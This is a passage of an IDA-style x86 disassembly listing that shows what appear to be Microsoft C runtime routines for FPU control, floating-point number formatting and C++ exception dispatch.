		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B8B	proc near		; CODE XREF: sub_419407+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B99	proc near		; CODE XREF: sub_419407+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419B99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BA8	proc near		; CODE XREF: sub_415D9B+13p
					; sub_415D9B+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BCB	proc near		; CODE XREF: sub_4196BA+1Dp
					; sub_4196BA+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419BE2
		fld	tbyte_435BD0
		fistp	[ebp+arg_0]
		wait


loc_419BE2:				; CODE XREF: sub_419BCB+Bj
		test	cl, 8
		jz	short loc_419BF7
		fstsw	ax
		fld	tbyte_435BD0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_419BF7:				; CODE XREF: sub_419BCB+1Aj
		test	cl, 10h
		jz	short loc_419C06
		fld	tbyte_435BDC
		fstp	[ebp+var_8]
		wait


loc_419C06:				; CODE XREF: sub_419BCB+2Fj
		test	cl, 4
		jz	short loc_419C14
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_419C14:				; CODE XREF: sub_419BCB+3Ej
		test	cl, 20h
		jz	short locret_419C1F
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419C1F:				; CODE XREF: sub_419BCB+4Cj
		leave
		retn
sub_419BCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C21	proc near		; CODE XREF: sub_415E6A+Fp
					; .text:0041DBCBp
		push	30000h
		push	10000h
		call	sub_41DBAC
		pop	ecx
		pop	ecx
		retn
sub_419C21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C33	proc near		; CODE XREF: sub_419C71:loc_419C95j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_427700
		fstp	[ebp+var_8]
		fld	ds:dbl_4276F8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_4275E0
		fnstsw	ax
		sahf
		jbe	short loc_419C6D
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419C6D:				; CODE XREF: sub_419C33+33j
		xor	eax, eax
		leave
		retn
sub_419C33	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C71	proc near		; CODE XREF: sub_415E6A+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_4953A8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_419C95
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_4953C4	; GetProcAddress
		test	eax, eax
		jz	short loc_419C95
		push	0
		call	eax ; sub_415E6A
		retn
; ---------------------------------------------------------------------------


loc_419C95:				; CODE XREF: sub_419C71+Dj
					; sub_419C71+1Dj
		jmp	sub_419C33
sub_419C71	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419C9A	proc near		; CODE XREF: sub_41AAED+3CBp
					; DATA XREF: sub_415E82+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417C24
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419CDA


loc_419CAE:				; CODE XREF: sub_419C9A+3Ej
		inc	esi
		cmp	dword_435E38, 1
		jle	short loc_419CC7
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_419CD6
; ---------------------------------------------------------------------------


loc_419CC7:				; CODE XREF: sub_419C9A+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_435C2C
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419CD6:				; CODE XREF: sub_419C9A+2Bj
		test	eax, eax
		jnz	short loc_419CAE


loc_419CDA:				; CODE XREF: sub_419C9A+12j
		mov	cl, byte_435E3C
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_419CE5:				; CODE XREF: sub_419C9A+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419CE5
		pop	esi
		retn
sub_419C9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CF4	proc near		; CODE XREF: sub_41AAED+3E2p
					; DATA XREF: sub_415E82+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_435E3C
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419D10


loc_419D04:				; CODE XREF: sub_419CF4+1Aj
		cmp	cl, dl
		jz	short loc_419D10
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419D04


loc_419D10:				; CODE XREF: sub_419CF4+Ej
					; sub_419CF4+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419D41


loc_419D17:				; CODE XREF: sub_419CF4+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419D2A
		cmp	cl, 65h
		jz	short loc_419D2A
		cmp	cl, 45h
		jz	short loc_419D2A
		inc	eax
		jmp	short loc_419D17
; ---------------------------------------------------------------------------


loc_419D2A:				; CODE XREF: sub_419CF4+27j
					; sub_419CF4+2Cj ...
		mov	ecx, eax


loc_419D2C:				; CODE XREF: sub_419CF4+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419D2C
		cmp	[eax], dl
		jnz	short loc_419D37
		dec	eax


loc_419D37:				; CODE XREF: sub_419CF4+40j
					; sub_419CF4+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419D37

locret_419D41:				; CODE XREF: sub_419CF4+21j
		retn
sub_419CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D42	proc near		; DATA XREF: sub_415E82+28o
					; .data:off_435BF8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_4276F0
		fnstsw	ax
		sahf
		jb	short loc_419D57
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419D57:				; CODE XREF: sub_419D42+Fj
		xor	eax, eax
		retn
sub_419D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D5A	proc near		; CODE XREF: sub_41B320+430p
					; DATA XREF: sub_415E82+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_419D83
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41E148
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419D83:				; CODE XREF: sub_419D5A+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41E1A3
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419D5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D98	proc near		; CODE XREF: sub_41A015+17p
					; sub_41A05F+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_492858, 0
		push	ebx
		push	esi
		jz	short loc_419DCD
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_492854
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A0B0
		pop	ecx
		pop	ecx
		jmp	short loc_419E05
; ---------------------------------------------------------------------------


loc_419DCD:				; CODE XREF: sub_419D98+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41E247
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41E1D0
		add	esp, 14h


loc_419E05:				; CODE XREF: sub_419D98+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_419E11
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_419E11:				; CODE XREF: sub_419D98+73j
		test	ebx, ebx
		jle	short loc_419E29
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_435E3C
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_419E29:				; CODE XREF: sub_419D98+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_492858, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4175D0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_419E50
		mov	byte ptr [ecx],	45h


loc_419E50:				; CODE XREF: sub_419D98+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_419E95
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_419E64
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_419E64:				; CODE XREF: sub_419D98+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_419E7B
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_419E7B:				; CODE XREF: sub_419D98+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_419E92
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_419E92:				; CODE XREF: sub_419D98+E7j
		add	[ecx+1], bl


loc_419E95:				; CODE XREF: sub_419D98+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D98	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E9C	proc near		; CODE XREF: sub_41A03C+13p
					; sub_41A05F+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_492858, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_419ED7
		mov	eax, dword_49285C
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_492854
		cmp	eax, ebx
		jnz	short loc_419F07
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_419F07
; ---------------------------------------------------------------------------


loc_419ED7:				; CODE XREF: sub_419E9C+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41E247
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41E1D0
		add	esp, 14h


loc_419F07:				; CODE XREF: sub_419E9C+22j
					; sub_419E9C+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_419F15
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_419F15:				; CODE XREF: sub_419E9C+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_419F2C
		push	1
		push	edi
		call	sub_41A0B0
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_419F2E
; ---------------------------------------------------------------------------


loc_419F2C:				; CODE XREF: sub_419E9C+7Ej
		add	edi, eax


loc_419F2E:				; CODE XREF: sub_419E9C+8Ej
		test	ebx, ebx
		jle	short loc_419F73
		push	1
		push	edi
		call	sub_41A0B0
		mov	al, byte_435E3C
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_419F73
		cmp	byte_492858, 0
		jz	short loc_419F58
		neg	esi
		jmp	short loc_419F5E
; ---------------------------------------------------------------------------


loc_419F58:				; CODE XREF: sub_419E9C+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_419F60


loc_419F5E:				; CODE XREF: sub_419E9C+BAj
		mov	ebx, esi


loc_419F60:				; CODE XREF: sub_419E9C+C0j
		push	ebx
		push	edi
		call	sub_41A0B0
		push	ebx
		push	30h
		push	edi
		call	sub_415CA0
		add	esp, 14h


loc_419F73:				; CODE XREF: sub_419E9C+94j
					; sub_419E9C+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F7A	proc near		; CODE XREF: sub_41A05F+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41E247
		mov	dword_492854, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_49285C, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41E1D0
		mov	eax, dword_492854
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_49285C, ecx
		setl	cl
		mov	byte_492860, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_49285C, eax
		jl	short loc_41A000
		cmp	eax, ebx
		jge	short loc_41A000
		test	cl, cl
		jz	short loc_419FF1


loc_419FE7:				; CODE XREF: sub_419F7A+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_419FE7
		and	[esi-2], al


loc_419FF1:				; CODE XREF: sub_419F7A+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A03C
		add	esp, 0Ch
		jmp	short loc_41A010
; ---------------------------------------------------------------------------


loc_41A000:				; CODE XREF: sub_419F7A+63j
					; sub_419F7A+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A015
		add	esp, 10h


loc_41A010:				; CODE XREF: sub_419F7A+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419F7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A015	proc near		; CODE XREF: sub_419F7A+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_492858, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419D98
		and	byte_492858, 0
		add	esp, 10h
		retn
sub_41A015	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A03C	proc near		; CODE XREF: sub_419F7A+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_492858, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_419E9C
		and	byte_492858, 0
		add	esp, 0Ch
		retn
sub_41A03C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05F	proc near		; CODE XREF: sub_41AAED+3AAp
					; DATA XREF: sub_415E82o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A09A
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A09A
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A087
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E9C
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A087:				; CODE XREF: sub_41A05F+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419F7A
		jmp	short loc_41A0AB
; ---------------------------------------------------------------------------


loc_41A09A:				; CODE XREF: sub_41A05F+7j
					; sub_41A05F+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419D98


loc_41A0AB:				; CODE XREF: sub_41A05F+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A05F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0B0	proc near		; CODE XREF: sub_419D98+2Cp
					; sub_419E9C+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A0D3
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4158E0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416430
		add	esp, 10h
		pop	esi


loc_41A0D3:				; CODE XREF: sub_41A0B0+7j
		pop	edi
		retn
sub_41A0B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0D5	proc near		; CODE XREF: .text:0041607Bp
					; sub_4160FE+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A0EB
		call	sub_41A982


loc_41A0EB:				; CODE XREF: sub_41A0D5+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A113
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A169
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A169
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A41C
		add	esp, 10h
		jmp	short loc_41A169
; ---------------------------------------------------------------------------


loc_41A113:				; CODE XREF: sub_41A0D5+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A169
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A14D
		cmp	[eax+14h], edi
		jbe	short loc_41A14D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A14D
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A14D:				; CODE XREF: sub_41A0D5+4Aj
					; sub_41A0D5+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A170
		add	esp, 20h


loc_41A169:				; CODE XREF: sub_41A0D5+23j
					; sub_41A0D5+29j ...
		push	1
		pop	eax


loc_41A16C:				; CODE XREF: sub_41A0D5+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A0D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A170	proc near		; CODE XREF: sub_41A0D5+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A190
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A195


loc_41A190:				; CODE XREF: sub_41A170+16j
		call	sub_41A982


loc_41A195:				; CODE XREF: sub_41A170+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A2EC
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A209
		cmp	[esi+14h], edi
		jnz	short loc_41A209
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A209
		mov	esi, dword_492864
		test	esi, esi
		jz	loc_41A2E7
		mov	eax, dword_492868
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41E36A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A1EB
		call	sub_41A982


loc_41A1EB:				; CODE XREF: sub_41A170+74j
		cmp	[esi], ebx
		jnz	loc_41A2EC
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A209
		cmp	[esi+14h], edi
		jnz	short loc_41A209
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A209
		call	sub_41A982


loc_41A209:				; CODE XREF: sub_41A170+41j
					; sub_41A170+46j ...
		cmp	[esi], ebx
		jnz	loc_41A2EC
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A2EC
		cmp	[esi+14h], edi
		jnz	loc_41A2EC
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41624C
		add	esp, 14h
		mov	ebx, eax


loc_41A240:				; CODE XREF: sub_41A170+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A2D7
		cmp	[ebx], edi
		jg	short loc_41A2CC
		cmp	edi, [ebx+4]
		jg	short loc_41A2CC
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A2C9


loc_41A265:				; CODE XREF: sub_41A170+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A296


loc_41A277:				; CODE XREF: sub_41A170+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A3BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A2A5
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A277


loc_41A296:				; CODE XREF: sub_41A170+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A265
		jmp	short loc_41A2C9
; ---------------------------------------------------------------------------


loc_41A2A5:				; CODE XREF: sub_41A170+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A4D0
		add	esp, 2Ch


loc_41A2C9:				; CODE XREF: sub_41A170+F3j
					; sub_41A170+133j
		mov	edi, [ebp+var_10]


loc_41A2CC:				; CODE XREF: sub_41A170+DEj
					; sub_41A170+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A240
; ---------------------------------------------------------------------------


loc_41A2D7:				; CODE XREF: sub_41A170+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A2E7
		push	1
		push	esi
		call	sub_41A845
		pop	ecx
		pop	ecx


loc_41A2E7:				; CODE XREF: sub_41A170+56j
					; sub_41A170+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A2EC:				; CODE XREF: sub_41A170+37j
					; sub_41A170+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A312
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A317
		add	esp, 20h
		jmp	short loc_41A2E7
; ---------------------------------------------------------------------------


loc_41A312:				; CODE XREF: sub_41A170+180j
		jmp	sub_41A91C
sub_41A170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A317	proc near		; CODE XREF: sub_41A170+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_49286C, 0
		push	esi
		push	edi
		jz	short loc_41A348
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416123
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A3BB


loc_41A348:				; CODE XREF: sub_41A317+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41624C
		add	esp, 14h
		mov	esi, eax


loc_41A364:				; CODE XREF: sub_41A317+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A3BB
		cmp	edi, [esi]
		jl	short loc_41A3B3
		cmp	edi, [esi+4]
		jg	short loc_41A3B3
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A38D
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A3B3


loc_41A38D:				; CODE XREF: sub_41A317+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A4D0
		add	esp, 2Ch


loc_41A3B3:				; CODE XREF: sub_41A317+57j
